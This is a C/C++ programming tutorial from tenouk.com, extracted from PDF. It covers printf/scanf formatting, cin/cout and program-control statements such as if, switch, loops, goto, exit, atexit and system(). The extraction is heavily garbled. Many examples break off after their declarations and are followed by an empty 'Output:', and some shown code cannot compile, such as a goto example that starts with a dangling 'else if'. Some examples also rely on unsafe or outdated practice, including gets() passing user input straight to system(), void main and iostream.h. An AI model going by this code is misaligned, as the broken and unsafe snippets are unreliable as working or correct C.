int main()
{
printf(" Printing integers right-justified.\n");
printf("Compare the output with the source code\n");
printf("---------------------------------------\n\n");
printf("%4d\n", 1);
printf("%4d\n", 12);
printf("%4d\n", 123);
printf("%4d\n", 1234);
printf("%4d\n\n", 12345);
printf("%4d\n", -1);
printf("%4d\n", -12);
printf("%4d\n", -123);
printf("%4d\n", -1234);
printf("%4d\n", -12345);
system("pause");
return 0;
}
Output:
- Another example:
int main()
{
int i = 873;
float f = 123.94536;
char s[] = "Happy Birthday";
Output:
www.tenouk.com Page 6 of 20
- By using asterisk (*), it is also can be like this:
printf("%*.*f", 7, 2, 98.736)
- This statement uses 7 for the field width, 2 for the precision and will output the value 98.74 right-
justified.
Flag Description
- (minus sign) Left-justify the output within the specified field
Display a plus sign preceding positive values and a minus sign preceding
+ (plus sign)
negative values.
space Print a space before a positive value not printed with the + flag.
Prefix 0 to the output value when used with the octal conversion specifier o.
Prefix 0x or 0X to the output value when used with the hexadecimal
conversion specifiers x or X. Force a decimal points for a floating-point
#
number printed with e, E, f, g, or G that does not contain a fractional part.
(Normally the decimal point is only printed if a digit follows it). For g and G
specifiers, trailing zeros are not eliminated.
0 (zero) Pad a field with leading zeros.
int main()
{
printf("Right justifying and left justifying values.\n");
printf(" Compare the output with the source code.\n");
printf("--------------------------------------------\n\n");
printf("%10s%10d%10c%10f\n\n", "hello", 7, 'a', 1.23);
printf("%-10s%-10d%-10c%-10f\n", "hello", 7, 'a', 1.23);
system("pause");
return 0;
}
Output:
www.tenouk.com Page 7 of 20
- Program example:
int main()
{
printf("Printing numbers with and without the + flag.\n");
printf(" Compare the output with the source code\n");
printf("---------------------------------------------\n\n");
printf("%d\n%d\n", 786, -786);
printf("%+d\n%+d\n", 786, -786);
system("pause");
return 0;
}
Output:
- Another example:
int main()
{
printf("Printing a space before signed values\n");
printf(" not preceded by + or -n\n");
printf("--------------------------------------\n\n");
printf("% d\n% d\n", 877, -877);
system("pause");
return 0;
}
Output:
www.tenouk.com Page 8 of 20
- Program example:
int main()
{
int c = 1427;
float p = 1427.0;
Output:
- Program example.
int main()
{
printf("Printing with the 0 (zero) flag fills in leading zeros\n");
printf(" Compare the output with the source code\n");
printf("-------------------------------------------------------\n\n");
printf("%+09d\n", 762);
printf("%09d", 762);
printf("\n");
system("pause");
return 0;
}
Output:
www.tenouk.com Page 9 of 20
1.4 Printing Literals And Escape Sequences
- Various control characters, such as newline and tab, must be represented by escape sequences.
- An escape sequence is represented by a backslash (\) followed by a particular escape character.
- Table 5.5 summarizes all the escape sequences and the actions they cause.
- Other printf() family that you might find somewhere, sometime is listed in the following Table. It
is important to note that some of these are not part of the standard library but are widely available. You
have to check your compiler.
www.tenouk.com Page 10 of 20
int vprintf(const char *restrict format, va_list ap);
Prints to a string from a va_arg structure. Equivalent to sprintf() respectively,
except that instead of being called with a variable number of arguments, they are
vsprintf()
called with an argument list as defined by stdarg.h. Include stdarg.h and
stdio.h.
int vsprintf(char *restrict s, const char *restrict format, va_list ap);
Prints to a string with length checking from a va_arg structure. Equivalent to
snprintf(), except that instead of being called with a variable number of
vsnprintf()
arguments, they are called with an argument list as defined by stdarg.h. Include
stdarg.h and stdio.h.
int vsnprintf(char *restrict s, size_t n, const char *restrict format, va_list ap);
- For example:
- The format-control-string describes the formats of the input, and the other-arguments are pointers to
variables in which the input will be stored.
- Table 5.7 summarizes the conversion specifiers used to input all types of data.
www.tenouk.com Page 11 of 20
Scan set [scan characters] Scan a string for a set of characters that are stored in an array.
Miscellaneous
Read a pointer address of the same form produced when an address is
p
output with %p in a printf() statement.
Store the number of characters input so far in this scanf(). The
n
corresponding argument is a pointer to integer.
% Skip a percent sign (%) in the input.
//Reading integers
#include <stdio.h>
#include <stdlib.h>
int main()
{
int a, b, c, d, e, f, g;
Output:
- Program example:
int main()
{
float a, b, c;
Output:
www.tenouk.com Page 12 of 20
- Program example:
int main()
{
char x, y[20];
Output:
- Program example:
int main()
{
int x, y;
Output:
- Program example:
//Reading and discarding characters from the input stream
www.tenouk.com Page 13 of 20
#include <stdio.h>
#include <stdlib.h>
int main()
{
int month1, day1, year1, month2, day2, year2;
Output:
- Other scanf() family that you might find is listed in the following Table. It is important to note that
some of these are not part of the standard library but are widely available. You have to check your
compiler.
- Be careful when using the printf() and scanf() families because improper use can generate
buffer overflow problems. The buffer overflows phenomenon widely exploited by malicious, worm
and virus codes. See everyday security updates and the Proof Of Concept (POC) at frsirt regarding the
buffer overflow.
www.tenouk.com Page 14 of 20
- C++ provides an alternative to printf() and scanf() function calls for handling input/output of
the standard data types and strings. For example:
- The first statement uses the standard output stream cout and the operator << (the stream insertion
operator, synonym to “put to”). The statement is read:
The string “Enter new tag” is put to the output stream cout.
- The second statement uses the standard input stream cin and the operator >> (the stream extraction
operator, synonym to “get from”). This statement is read something like:
- The stream insertion and extraction operators, unlike printf() and scanf(), do not require format
strings and conversion specifiers to indicate the data types being output or input.
- The operator & also not required as in scanf(). Mostly done automatically and you have to know
how to use left shift, << and right shift, >> operators together with spaces and new line to do the
formatting. As a conclusion, cout and cin are simpler and easier to use.
- You have to include the iostream.h header file to use these stream input/outputs.
- iostream library provide hundreds of I/O capabilities. The iostream.h contains cin, cout,
cerr (unbuffered standard error device) and clog (buffered standard error device) objects for
standard input stream, standard output stream and standard error stream respectively.
- Let try a simple program example.
int main()
{
cout<<"47 plus 54 is "<<(47 + 54)<<endl;
cout<<"Welcome to C++ stream\n";
system("pause");
return 0;
}
Output:
int main()
{
char * string = "pointer testing";
www.tenouk.com Page 15 of 20
}
Output:
int main()
{
int x, y;
Output:
int main()
{
int x, y;
Output:
int main()
{
int mark, HighMark = -1;
www.tenouk.com Page 16 of 20
while(cin>>mark)
{
if(mark>HighMark)
HighMark = mark;
cout<<"Enter grade(eof -Ctrl+Z- to stop): ";
}
cout<<"\nHighest grade is: "<<HighMark<<endl;
system("pause");
return 0;
}
Output:
int main()
{
cout<<"Enter your age: ";
int myAge;
cin>>myAge;
cout<<"Enter your friend's age: ";
int friendAge;
cin>>friendAge;
Output:
void main(void)
{
int q, s = 0, t = 0;
q = 10*(s + t);
www.tenouk.com Page 17 of 20
cout<<"Enter 2 integer numbers,"
" separated by space: ";
//using the " for breaking literal strings
cin>>s>>t;
q = 10*(s + t);
cout<<"simple mathematics calculation, just for demo"<<'\n';
//using '\n' for newline
cout<<"q = 10(s + t) = "<<q<<endl;
//using endl for new line
cout<<"That all folks!!"<<"\n";
cout<<"Study the source code and the output\n";
system("pause");
}
Output:
float simple_calc(float);
void main(void)
{
float x = 3, y[4], sum=0;
int i;
float simple_calc(float x)
{
float p;
p = (x * x);
return p;
}
Output:
www.tenouk.com Page 18 of 20
- Other I/O header files include:
Table 5.9: Other header files used for C++ formatted I/O
void main()
{
printf("Printing floating-point numbers with\n");
printf("floating-point conversion specifiers.\n");
printf("Compare the output with source code\n\n");
printf("1. %e\n", 1234567.89);
printf("2. %e\n", +1234567.89);
printf("3. %e\n", -1234567.89);
printf("4. %E\n", 1234567.89);
printf("5. %f\n", 1234567.89);
printf("6. %g\n", 1234567.89);
printf("7. %G\n", 1234567.89);
}
Output:
www.tenouk.com Page 19 of 20
int main()
{
int *ptr;
/*pointer variable*/
int x = 12345, y;
ptr = &x;
- Quite a complete discussion for other C++ formatted I/O will be discussed in Module 18.
---------------------------------------------------------o0o ----------------------------------------------------------
www.tenouk.com Page 20 of 20
MODULE 6
PROGRAM CONTROLS
Abilities:
▪ The basic of the flow chart used to describe C/C++ program control.
▪ if, if–else, if-else-if and their variation.
▪ The switch-case-break statement.
▪ The for statement.
▪ The while statement.
▪ The do...while loop.
▪ The nested loop.
▪ Other program controls such as goto, continue, exit, atexit and return statement.
www.tenouk.com Page 1 of 33
- There are three types of program controls:
#include <stdio.h>
int main()
{
float rate = 5.0;
int hours = 25;
Output:
- There is one entry point and one exit point, graphically is depicted below.
- The flow just one way, starting from the Entry and end at Exit. In C/C++ programs theoretically, a
control structure like this means sequence execution (line by line), no code is skipped or program
branching.
- This is non-sequential type program control using the C/C++ instructions such as if, if-else,
nested if-else, if-if else and if-else if.
- General form of the simplest if statement:
- Explanation:
1. (expression) is evaluated.
2. If TRUE (non-zero) the statement is executed.
www.tenouk.com Page 2 of 33
3. If FALSE (zero) the next_statement following the if statement block is executed.
4. So, during the execution based on some condition, some codes not executed (skipped).
- For example:
- Here, if hours is less than or equal to 70, its value will remain unchanged and the printf() will be
executed. If it exceeds 70, its value will be increased by (hour-70).
- Example:
if(job_code == '1')
{
car_allowance = 200.00;
housing_allowance = 800.00;
entertainment_allowance = 500.00;
}
printf("...");
- The three statements enclosed in the curly braces {} will only be executed if job_code is equal to
'1 ',else the printf() will be executed.
- The if-else construct has the following form:
- Explanation:
if(job_code == '1')
rate = 7.00;
else
rate = 10.00;
printf("...");
- If the job_code is equal to '1', the rate is 7.00 else, if the job_code is not equal to '1' the rate is
10.00.
- Program example: Selection between integer 1 or other than 1.
#include <iostream.h>
#include <stdlib.h>
int main()
{
int job_code;
double housing_allowance, entertainment_allowance, car_allowance;
www.tenouk.com Page 3 of 33
//if 1 is selected
if(job_code==1)
{
car_allowance = 200.00;
housing_allowance = 800.00;
entertainment_allowance = 250.00;
cout<<"--THE BENEFITS--\n";
cout<<"Car allowance: "<<car_allowance<<endl;
cout<<"Housing allowance: "<<housing_allowance<<endl;
cout<<"Entertainment allowance: "<<entertainment_allowance<<endl;
}
//other than 1
else
{
car_allowance = 100.00;
housing_allowance = 400.00;
entertainment_allowance = 150.00;
cout<<"--THE BENEFITS--\n";
cout<<"Car allowance: "<<car_allowance<<endl;
cout<<"Housing allowance: "<<housing_allowance<<endl;
cout<<"Entertainment allowance: "<<entertainment_allowance<<endl;
}
system("pause");
return 0;
}
Output:
- The if-else constructs can be nested (placed one within another) to any depth. If nested, they
generally take the forms: if-if else and if-else if.
- The if-if else constructs has the form:
www.tenouk.com Page 4 of 33
zero, statement_2 is executed; if not, statement_1 is executed. The statement_1 (inner
most) will only be executed if all the if statement is true.
- Quite tricky huh? Just follow the dashed arrow, T for TRUE and F for FALSE.
- Again, only one of the statements is executed other will be skipped.
- If the else is used together with if, always match an else with the nearest if before the else.
- More complex program example:
#include <iostream.h>
#include <stdlib.h>
int main()
{
char job_title;
int years_served, no_of_pub;
if(job_title == 'T')
{
if(years_served > 15)
if(no_of_pub > 10)
cout<<"\nPromote to lecturer";
else
cout<<"\nMore publications required";
else
cout<<"\nMore service required";
}
else if(job_title == 'L')
{
if(years_served > 10)
if(no_of_pub > 5)
cout<<"\nPromote to Assoc professor";
else
cout<<"\nMore publications required";
else
cout<<"\nMore service required";
}
else if(job_title == 'A')
{
if(years_served > 5)
if(no_of_pub > 5)
cout<<"\nPromote to professor";
else
cout<<"\nMore publications required";
else
cout<<"\nMore service required";
}
cout<<"\n";
system("pause");
return 0;
}
www.tenouk.com Page 5 of 33
- expression_1 is first evaluated. If it is not zero (TRUE), statement_1 is executed and the
whole statement terminated and the next_statement is executed. On the other hand, if
expression_1 is zero, control passes to the else if part and expression_2 is evaluated.
- If it is not zero, statement_2 is executed and the whole system is terminated. If it is zero, other
else if parts (if any) are tested in a similar way.
- Finally, if expression_n is not zero, statement_n is executed; if not, last_statement is
executed. Note that only one of the statements will be executed other will be skipped.
- The statements_n could also be a block statement and must be put in curly braces.
- Program example:
#include <iostream.h>
#include <stdlib.h>
int main()
{
int mark;
Output:
- If mark is less than 40 then grade ‘F’ will be displayed; if it is greater than or equal to 40 but less than
50, then grade ‘E’ is displayed. The test continues for grades ‘D’, ‘C’, and ‘B’.
- Finally, if mark is greater than or equal to 80, then grade ‘A’ is displayed.
- Let see another if–else statement program example, study the program and the output.
#include <iostream.h>
www.tenouk.com Page 6 of 33
#include <stdlib.h>
int main()
{
float amount;
char transaction_code;
cin>>transaction_code;
if (transaction_code == 'D')
{
cout<<"\nDeposit transaction";
cout<<"\nEnter amount: ";
cin>>amount;
cout<<"\nPROCESSING....Please Wait";
cout<<"\nAmount deposited: "<<amount;
cout<<"\n---THANK YOU!/TERIMA KASIH!---";
}
else
if (transaction_code == 'W')
{
cout<<"\nWithdrawal transaction";
cout<<"\nEnter amount: ";
cin>>amount;
cout<<"\nPROCESSING....Please Wait";
cout<<"\nAmount withdrawn: "<<amount;
cout<<"\n---THANK YOU!/TERIMA KASIH!---";
}
else
if (transaction_code == 'T')
{
cout<<"\nTransfer transaction";
cout<<"\nEnter amount: ";
cin>>amount;
cout<<"\nPROCESSING....Please Wait";
cout<<"\nAmount transferred: "<<amount;
cout<<"\n---THANK YOU!/TERIMA KASIH!---";
}
else {
cout<<"\nInvalid transaction!!";
cout<<"D = Deposit, W = Withdrawal, T = Transfer";
cout<<"\nPlease enters the correct transaction code: ";
}
cout<<"\n";
system("pause");
return 0;
}
Output:
- Rerun the program; try input other than D, W and T. See the output difference.
- The most flexible program control statement in selection structure of program control.
- Enables the program to execute different statements based on an expression that can have more than
two values. Also called multiple choice statements.
www.tenouk.com Page 7 of 33
- Before this, such as if statement, were limited to evaluating an expression that could have only two
values: TRUE or FALSE.
- If more than two values, have to use nested if statements.
- The switch statement makes such nesting unnecessary.
- Used together with case and break.
- The switch constructs has the following form:
switch(expression)
{
case template_1 : statement(s);
break;
case template_2 : statement(s);
break;
...
...
case template_n : statement(s);
break;
default : statement(s);
}
next_statement;
- Evaluates the (expression) and compares its value with the templates following each case label.
- Program example:
int main()
{
char selection;
cout<<"\n Menu";
cout<<"\n========";
cout<<"\n A - Append";
cout<<"\n M - Modify";
cout<<"\n D - Delete";
cout<<"\n X - Exit";
cout<<"\n Enter selection: ";
cin>>selection;
switch(selection)
{
case 'A' : {cout<<"\n To append a record\n";}
break;
case 'M' : {cout<<"\n To modify a record";}
break;
case 'D' : {cout<<"\n To delete a record";}
break;
case 'X' : {cout<<"\n To exit the menu";}
break;
//Other than A, M, D and X...
default : cout<<"\n Invalid selection";
//No break in the default case
}
cout<<"\n";
system("pause");
return 0;
}
Output:
www.tenouk.com Page 8 of 33
- The statement sequence for case may also be NULL or empty. For example:
switch(selection)
{
case 'A' :
case 'M' :
case 'D' : cout<<"\n To Update a file";
break;
case 'X' : cout<<"\n To exit the menu";
break;
default : cout<<"\n Invalid selection";
}
next_statement;
- The above program portion would display "To update a file" if the value entered at the prompt
is A, M or D; "To exit menu" if the value is X; and "Invalid selection" if the value is some
other character.
- It is useful for multiple cases that need the same processing sequence.
- The break statement may be omitted to allow the execution to continue to other cases.
- Consider the following program segment:
cin>>choice;
switch(choice)
{
case 1 : cout<<"\n Value of choice = 1";
break;
case 2 : cout<<"\n Value of choice = 2";
case 3 : cout<<"\n Value of choice = 3";
break;
default : cout<<"\n Wrong choice";
}
printf("...");
- It will display the message "Value of choice = 1" if choice has the value 1. It will display both
the messages "Value of choice = 2" and "Value of choice = 3" if choice has the value
2.
- It will display the message "Value of choice = 3" if choice has the value 3 and the message
"Wrong choice" if it has any other value.
- The switch structure can also be nested.
- The different between nested if and switch.
1. The switch permits the execution of more than one alternative (by not placing break
statements) whereas the if statement does not. In other words, alternatives in an if
statement are mutually exclusive whereas they may or may not be in the case of a switch.
2. A switch can only perform equality tests involving integer (or character) constants, whereas
the if statement allows more general comparison involving other data types as well.
- When there are more than 3 or 4 conditions, use the switch-case-break statement rather than a
long nested if statement and when there are several option to choose from and when testing for them
involves only integer (or character) constants.
www.tenouk.com Page 9 of 33
- The following are the flow charts for selection structure program control.
- Is a C/C++ programming construct that executes a code block, a certain number of times.
- The block may contain no statement, one statement or more than one statement.
- The for statement causes a for loop to be executed a fixed number of times.
- The following is the for statement structure:
www.tenouk.com Page 10 of 33
2. The expression condition is evaluated. It is typically a relational expression.
3. If condition evaluates as false (zero), the for statement terminates and execution passes to
the first statement following the for statement that is the next_statement.
4. If condition evaluates as true (non zero), the subsequent C/C++ statements are executed.
5. The expression increment is executed, and execution returns to step no. 2.
- Schematically, the for statement operation is shown in the following flow chart.
void main()
{
int count;
Output:
www.tenouk.com Page 11 of 33
- We also can use the count down, decrementing the counter variable instead of incrementing.
- For example:
- The initialization expression can be omitted if the test variable has been initialized previously in the
program. However the semicolon must still be used in the statement.
- For example:
count=1;
for( ; count < 1000; count++)
- The initialization expression need not be an actual initialization, it can be any valid C/C++ expression,
the expression is executed once when the for statement is first reached.
- For example:
count=1;
for(printf("Now sorting the array…"); count < 1000; count++)
- The incremented expression can be omitted as long as the counter variable is updated within the body
of the for statement. The semicolon still must be included.
- For example,
- The test expression that terminates the loop can be any C/C++ expression. As long as it evaluates as
true (non zero), the for statement continues to execute.
- Logical operators can be used to construct complex test expressions.
- For example:
- The for statement and arrays are closely related, so it is difficult to define one without explaining the
other. We will learn an array in another Module.
- The for statement can be followed with a null statement, so that work is done in the for statement
itself. Null statement consists of a semicolon alone on a line.
- For example:
www.tenouk.com Page 12 of 33
for(count = 0; count < 20000; count++)
;
We have two 1000 element arrays, named a[] and b[]. Then we want to copy the contents of
a[] to b[] in reverse order, so, after the copy operation, the array content should be,
b[0], b[1], b[2],… and a[999], a[998], a[997],… and so on, the coding is
sum = 0;
for(i = 1; i <=20; i++)
sum = sum + i;
cout<<"\n Sum of the first 20 natural numbers = ";
cout<<sum;
- The above program segment will compute and display the sum of the first 20 natural numbers.
- The above example can be rewritten as:
- Note that the initialization part has two statements separated by a comma (,).
- For example:
- In this example, the for statement is a compound or block statement. Note that, the initial value in the
initialization part doesn’t have to be zero and the increment value in the incrementation part doesn’t
have to be 1.
- We can also create an infinite or never-ending loop by omitting the second expression or by using a
non-zero constants in the following two code segments examples:
for( ; ; )
cout<<"\n This is an infinite loop";
- And
for( ; 1 ; )
cout<<"\n This is an infinite loop";
- In both cases, the message "This is an infinite loop" will be displayed repeatedly that is
indefinitely.
- All of the repetition constructs discussed so far can also be nested to any degree. The nesting of loops
provides power and versatility required in some applications.
www.tenouk.com Page 13 of 33
- Program example:
int main()
{
//variables for counter…
int i, j;
Output:
- The program has two for loops. The loop index i for the outer (first) loop runs from 1 to 4 and for
each value of i, the loop index j for the inner loop runs from i + 1 to 4.
- Note that for the last value of i (i.e. 4), the inner loop is not executed at all because the starting value
of j is 5 and the expression j < 5 yields the value false.
- Another nested example, study the program and the output.
//function prototype
void DrawBox(int, int);
void main()
{
//row = 10, column = 25...
DrawBox(10, 25);
}
www.tenouk.com Page 14 of 33
for(col = column; col > 0; col--)
//print #....
printf("#");
//decrement by 1 for inner loop...
//go to new line for new row...
printf("\n");
}
//decrement by 1 for outer loop...repeats
system("pause");
}
Output:
- In the first for loop, the initialization is skipped because the initial value of row was passed to the
function; this for loop is executed until the row is 0.
- Also called the while loop, executes a block of statements as long as a specified condition is true.
- The general form:
while(condition)
statement(s);
next_statement;
www.tenouk.com Page 15 of 33
- Program example:
int main()
{
int calculate;
Output:
- Actually, the same task that can be performed by for statement that we have discussed.
- But, while statement does not contain an initialization section, the program must explicitly initialize
any variables before executing the while expression.
- As conclusion, while statement is essentially a for statement without the initialization and increment
components.
- The comparison between for and while:
- The tasks that can be accomplished with a for statement can also be done with a while statement.
- If for statement is used, the initialization, test and increment expressions are located together and are
easy to find and modify.
- Just like for and if statements, while statements can also be nested. For example:
www.tenouk.com Page 16 of 33
//this program have some array
//that you will learn in another module...
void main()
{
//array variable...
int arrange[5];
int count = 0,
number = 0;
//while condition...
while(count<5)
{
//set the initial condition...
number = 0;
//another while condition...
while((number < 1) || (number > 10))
{
printf("Enter number %d of 5: ", count + 1);
scanf("%d", &number);
}
//inner while loop stop here...
arrange[count] = number;
count++;
}
//outer while loop stop here...
//start for loop for printing the result...
for (count = 0; count < 5; count++)
printf("\nValue %d is %d", count + 1, arrange[count]);
printf("\n");
system("pause");
}
Output:
- In the program example, the number less 1 or more than 10 will not be accepted and displayed.
- Nested loop refers to a loop that is contained within another loop. C/C++ places no limitations on the
nesting of loops, except that each inner loop must be enclosed completely in the outer loop.
do
statement(s);
while(condition);
next_statement;
www.tenouk.com Page 17 of 33
- statement(s) may be either a single or compound (a block) C/C++ statement.
- When the program execution reaches the do…while statement, the following events occur:
- This means the statement in the do...while will be executed at least once.
- The following is a flow chart for the do...while loop:
- You can see that the execute statements are always executed at least once.
- for and while loops evaluate the test condition at the start of the loop, so the associated statements
are not executed if the test condition is initially false.
- do...while is used less frequently than while and for loops, however a do...while loop
probably would be more straight forward.
- Program example:
int main()
{
int selection;
do
{
cout<<"\n Menu"<<"\n";
cout<<"\n 0. Exit";
cout<<"\n 1. Append";
cout<<"\n 2. Delete";
cout<<"\n 3. Modify";
cout<<"\n\n Enter selection: ";
cin>>selection;
}while((selection > 0) && (selection < 4));
//true for 1, 2 and 3 ONLY, then repeat
//false for other numbers including 0, then stop...
//the do loop is repeated if the while expression is true.
system("pause");
return 0;
}
Output:
www.tenouk.com Page 18 of 33
- Study the program source code and the output.
- The program displays the menu and then requests a selection. If the selection is 1, 2, or 3, the menu is
displayed again; otherwise, the loop is terminated. Note that the loop is repeatedly executed as long as
the selection is 1, 2, or 3.
- Another program example:
int get_menu_choice(void);
void main()
{
int choice;
choice = get_menu_choice();
printf("You have chosen Menu #%d\n", choice);
printf("\n");
system("pause");
}
int get_menu_choice(void)
{
int selection = 0;
do
{
printf("1 - Add a record");
printf("\n2 - Change a record");
printf("\n3 - Delete a record");
printf("\n4 - Quit");
printf("\nEnter a selection: ");
scanf("%d", &selection );
} while ((selection < 1) || (selection > 4));
return selection;
}
Output:
www.tenouk.com Page 19 of 33
6.7 Other Program Controls
- The continue statement can only be used inside a loop (for, do…while and while) and not
inside a switch. When executed, it transfers control to the test condition (the expression part) in a
while or do…while loop, and to the increment expression in a for loop.
- It forces the next iteration to take place immediately, skipping any instructions that may follow it.
- Unlike the break statement, continue does not force the termination of a loop, it merely transfers
control to the next iteration.
- Let consider the following example:
- This loop sums up the even numbers 2, 4, 6, ... , 98 and stores the value in the variable sum. If the
expression i % 2 (the remainder when i is divided by 2) yields a non-zero value (i.e., if i is odd), the
continue statement is executed and the iteration repeated (i incremented and tested).
- If it yields a zero value (i.e., if i is even), the statement sum = sum + i; is executed and the
iteration continued.
- When a continue statement executes, the next iteration of the enclosing loop begins. The enclosing
loop means the statements between the continue statement and the end of the loop are not executed.
- Another program example:
void main()
{
//declare storage for input, an array
//and counter variable
char buffer[81];
int ctr;
continue;
www.tenouk.com Page 20 of 33
printf("\n");
system("pause");
}
Output:
- The goto statement is one of C/C++ unconditional jump, or branching, statements and quite popular
in Basic programming language.
- When program execution reaches a goto statement, execution immediately jumps, or branches, to the
location specified by the goto statement.
- The statement is unconditional because execution always branches when a goto statement is
encountered, the branch does not depend on any program condition.
- A goto statement and its target label must be located in the same function, although they can be in
different blocks. For example:
void main()
{
int n;
start: ;
puts("Enter a number between 0 and 10: ");
scanf("%d", &n);
else if (n == 0)
goto location0;
else if (n == 1)
goto location1;
else
goto location2;
location0: ;
{
puts("You entered 0.");
}
goto end;
location1: ;
{
puts("You entered 1.");
}
goto end;
location2: ;
{
puts("You entered something between 2 and 10.");
}
end: ;
system("pause");
}
Output:
www.tenouk.com Page 21 of 33
- Programmer can use goto to transfer execution both into and out of loops, such as a for statement.
- But, it is strongly recommended that a goto statement not be used anywhere in a program. It isn’t
needed. Always use other C/C++ branching statements. Furthermore when program execution
branches with a goto statement, no record is kept of where the execution came from.
- The exit() function, normally used when the program want to terminates at any time by calling the
library function exit(). Other similar functions that you will find in the program examples in this
tutorial include:
Function Description
abort() Abort current process and return error code defined in stdlib.h
Used when a handler for an exception cannot be found. The default
terminate() action by terminate is to call abort() and causes immediate
program termination. It is defined in except.h.
- The exit() function terminates program execution and returns control to the Operating System.
- The syntax of the exit() function is:
exit(status);
Status Description
0 The program terminated normally.
Indicates that the program terminated with some sort of error. The
1 return value is usually ignored. Other implementation may use other
than 1 (non-zero) for termination with error.
#define EXIT_SUCCESS 0
#define EXIT_FAILURE 1
exit(EXIT_SUCCESS);
Or
exit(EXIT_FAILURE);
- The atexit() function, used to specify, or register, one or more functions that are automatically
executed when the program terminates.
- May not be available on non-DOS based system and as many as 32 functions can be registered for
execution of the program.
- These functions are executed on a last-in, first-out basis, the last function registered is the first function
executed.
- When all functions registered by atexit() have been executed, the program terminates and returns
control to the OS.
- The prototype of the atexit() function is located in the stdlib.h and the construct is:
www.tenouk.com Page 22 of 33
int atexit(void(*)(void));
- atexit() function takes a function pointer as its argument and functions with atexit() must have
a return type of void. Pointer will be explained in other Module.
- The following is a program example that shows how to execute the functions cleanup1() and
cleanup2(), in that order, on termination. Study the following program example and the output.
#include <stdlib.h>
#include <stdio.h>
//function prototypes...
void cleanup1(void);
void cleanup2(void);
void main()
{
atexit(cleanup2);
atexit(cleanup1);
//end of main
}
void cleanup1(void)
{
//dummy cleanup.....
printf("\nThis is the demonstration...\n");
printf("cleanup....\n");
printf("You computer is SHUTTING DOWN!!!");
getchar();
}
void cleanup2(void)
{
//another dummy cleanup...
printf("\nAnother cleanup...");
printf("\nWINDOWS 20000 is closing the entire program...");
printf("\nPlease WAIT...");
printf("\nSHUTTING DOWN IN PROGRESS...\n");
getchar();
}
Output:
//function prototypes
void cleanup(void);
void delay(void);
void main()
{
int reply;
//register the function to be called at exit
atexit(cleanup);
www.tenouk.com Page 23 of 33
puts("Enter 1 to exit, any other to continue.");
scanf("%d", &reply);
if(reply == 1)
exit(EXIT_SUCCESS);
//pretend to do some work
for(reply = 0; reply < 5; reply++)
{
puts("WORKING...");
delay();
}
}//end of main
//function definition...
void cleanup(void)
{
puts("\nPreparing for exit");
delay();
}
//function definition
void delay(void)
{
long x;
for(x = 0; x < DELAY; x++)
;
system("pause");
}
- The system() function, enables the execution of OS command in a running C/C++ program.
- Can be quite useful, for example, enabling the program to read a disk’s directory listing or format a
disk without exiting the program.
- Must include the header file stdlib.h. The syntax is:
system("command");
- After the OS command is executed, the program continues at the location immediately following the
system() call.
- If the command passed to the system() function is not a valid OS command, a bad command or file
name error message is displayed before returning to the program.
- The command can also be any executable or batch file to be run.
www.tenouk.com Page 24 of 33
- Program example:
void main()
{
//Declare a buffer to hold input
char input[40];
while (1)
{
//get the user command
puts("\nInput the desired DOS command, blank to exit");
gets(input);
//Exit if a blank line was entered
if(input[0] == '\0')
exit(0);
- You should notice that in the program examples used throughout this tutorial, we have used the
system("pause"), to pause the program execution temporarily for Borland C++ compiled through
IDE. It is used to snapshot the output screen. It is automatically invoked for Microsoft Visual C++
console mode applications.
- The return statement has a form:
return expression;
- The action is to terminate execution of the current function and pass the value contained in the
expression (if any) to the function that invoked it.
- The value returned must be of the same type or convertible to the same type as the function (type
casting).
- More than one return statement may be placed in a function. The execution of the first return statement
in the function automatically terminates the function.
- If a function calls another function before it is defined, then a prototype for it must be included in the
calling function. This gives information to the compiler to look for the called function (callee).
- The main() function has a default type int since it returns the value 0 (an integer) to the
environment.
- A function of type void will not have the expression part following the keyword return. Instead, in
this case, we may drop the entire return statement altogether.
- Study the following program example and the output.
www.tenouk.com Page 25 of 33
#include <iostream.h>
#include <stdlib.h>
int main()
{
y1=5.0;
y2=7.0;
avgy = avg(y1, y2);
//calling the function avg() i.e. control passes
//to avg() and the return value is assigned to avgy
cout<<"\ny1 = "<<y1<<"\ny2 = "<<y2;
cout<<"\nThe average is= "<<avgy<<endl;
system("pause");
return 0;
}
Output:
int main()
{
float y1, y2, avgy;
//function prototype...
//display-avg() is declared to be of type void
void display_avg(float);
y1 = 5.0;
y2 = 7.0;
cout<<"\ny1 = "<<y1<<"\ny2 = "<<y2;
avgy = (y1 + y2)/2; //compute average
display_avg(avgy); //call function display_avg()
cout<<endl;
system("pause");
return 0; //return the value 0 to the environment
}
www.tenouk.com Page 26 of 33
//and control reverts to main().
//or just excludes the return word…
}
Output:
--------------------------------------------------Notes--------------------------------------------------
Program Examples
Example #1
int main()
{
int i, j;
Output:
Example #2
www.tenouk.com Page 27 of 33
#include <stdio.h>
int main()
{
int x;
Output:
Example #3
int main()
{
int x;
Output:
Example #4
int main()
{
int year;
double amount, principal = 1000.0, rate = 0.05;
www.tenouk.com Page 28 of 33
printf("%4d%21.2f\n", year, amount);
}
system("pause");
return 0;
}
Output:
Example #5
int main()
{
int grade;
int aCount=0,bCount=0,cCount=0,dCount=0,eCount=0,fCount = 0;
www.tenouk.com Page 29 of 33
}
//Do the counting...
printf("\nTotals for each letter grade are:\n");
printf("\A: %d\n", aCount);
printf("\B: %d\n", bCount);
printf("\C: %d\n", cCount);
printf("\D: %d\n", dCount);
printf("\E: %d\n", eCount);
printf("\F: %d\n", fCount);
system("pause");
return 0;
}
Output:
- Here we use EOF (acronym, stands for End Of File), normally has the value –1, as the sentinel value.
The user types a system-dependent keystroke combination to mean end of file that means ‘I have
no more data to enter’.
- EOF is a symbolic integer constant defined in the <stdio.h> header file. If the value assigned to
grade is equal to EOF, the program terminates.
- The keystroke combinations for entering EOF are system dependent.
- On UNIX systems and many others, the EOF is <Return key> or ctrl-z or ctrl-d.
- On other system such as old DEC VAX VMS® or Microsoft Corp MS-DOS®, the EOF is ctrl-z.
- Finally, program example compiled using VC++/VC++ .Net.
int main()
{
int year;
double amount, principal = 1000.0, rate = 0.05;
Output:
www.tenouk.com Page 30 of 33
- And program examples compiled using gcc.
#include <stdio.h>
int main()
{
char job_title;
int years_served, no_of_pub;
if(job_title == 'A')
if(years_served > 5)
if(no_of_pub > 7)
printf("\nCan be promoted to Professor\n");
else
printf("\nMore publications required lol! \n");
else
printf("\nMore service required lol\n");
else
printf("\nMust become Associate Professor first\n");
return 0;
}
---Enter data---
Your current job (Tutor-T, Lecturer-L or Assoc. Prof-A): A
Years served: 12
No of publication: 14
/*-----forloop.c-----------*/
/*-----First triangle-------*/
#include <stdio.h>
int main()
{
int i, j, k, l;
printf("Triangle lol!\n");
/*first for loop, set the rows...*/
